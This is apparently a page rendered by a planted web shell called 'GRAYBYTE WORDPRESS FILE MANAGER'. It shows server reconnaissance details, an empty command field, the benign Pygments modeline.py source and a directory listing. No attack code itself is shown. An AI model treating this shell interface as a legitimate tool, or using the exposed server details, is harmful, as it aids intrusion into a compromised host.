GRAYBYTE WORDPRESS FILE MANAGER6748

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python312/lib/python3.12/site-packages/pip/_vendor/pygments/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python312/lib/python3.12/site-packages/pip/_vendor/pygments//modeline.py
"""
    pygments.modeline
    ~~~~~~~~~~~~~~~~~

    A simple modeline parser (based on pymodeline).

    :copyright: Copyright 2006-2023 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
"""

import re

__all__ = ['get_filetype_from_buffer']


modeline_re = re.compile(r'''
    (?: vi | vim | ex ) (?: [<=>]? \d* )? :
    .* (?: ft | filetype | syn | syntax ) = ( [^:\s]+ )
''', re.VERBOSE)


def get_filetype_from_line(l):
    m = modeline_re.search(l)
    if m:
        return m.group(1)


def get_filetype_from_buffer(buf, max_lines=5):
    """
    Scan the buffer for modelines and return filetype if one is found.
    """
    lines = buf.splitlines()
    for l in lines[-1:-max_lines-1:-1]:
        ret = get_filetype_from_line(l)
        if ret:
            return ret
    for i in range(max_lines, -1, -1):
        if i < len(lines):
            ret = get_filetype_from_line(lines[i])
            if ret:
                return ret

    return None

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 14 2024 08:49:17
root / linksafe
0755
__pycache__
--
June 14 2024 08:49:17
root / linksafe
0755
filters
--
June 14 2024 08:49:17
root / linksafe
0755
formatters
--
June 14 2024 08:49:17
root / linksafe
0755
lexers
--
June 14 2024 08:49:17
root / linksafe
0755
styles
--
June 14 2024 08:49:17
root / linksafe
0755
__init__.py
2.913 KB
December 28 2023 22:52:55
root / linksafe
0644
__main__.py
0.345 KB
December 28 2023 22:52:55
root / linksafe
0644
cmdline.py
23.13 KB
December 28 2023 22:52:55
root / linksafe
0644
console.py
1.657 KB
December 28 2023 22:52:55
root / linksafe
0644
filter.py
1.893 KB
December 28 2023 22:52:55
root / linksafe
0644
formatter.py
4.08 KB
December 28 2023 22:52:55
root / linksafe
0644
lexer.py
33.807 KB
December 28 2023 22:52:55
root / linksafe
0644
modeline.py
0.963 KB
December 28 2023 22:52:55
root / linksafe
0644
plugin.py
2.53 KB
December 28 2023 22:52:55
root / linksafe
0644
regexopt.py
3 KB
December 28 2023 22:52:55
root / linksafe
0644
scanner.py
3.02 KB
December 28 2023 22:52:55
root / linksafe
0644
sphinxext.py
6.721 KB
December 28 2023 22:52:55
root / linksafe
0644
style.py
6.11 KB
December 28 2023 22:52:55
root / linksafe
0644
token.py
6.039 KB
December 28 2023 22:52:55
root / linksafe
0644
unistring.py
61.741 KB
December 28 2023 22:52:55
root / linksafe
0644
util.py
9.99 KB
December 28 2023 22:52:55
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF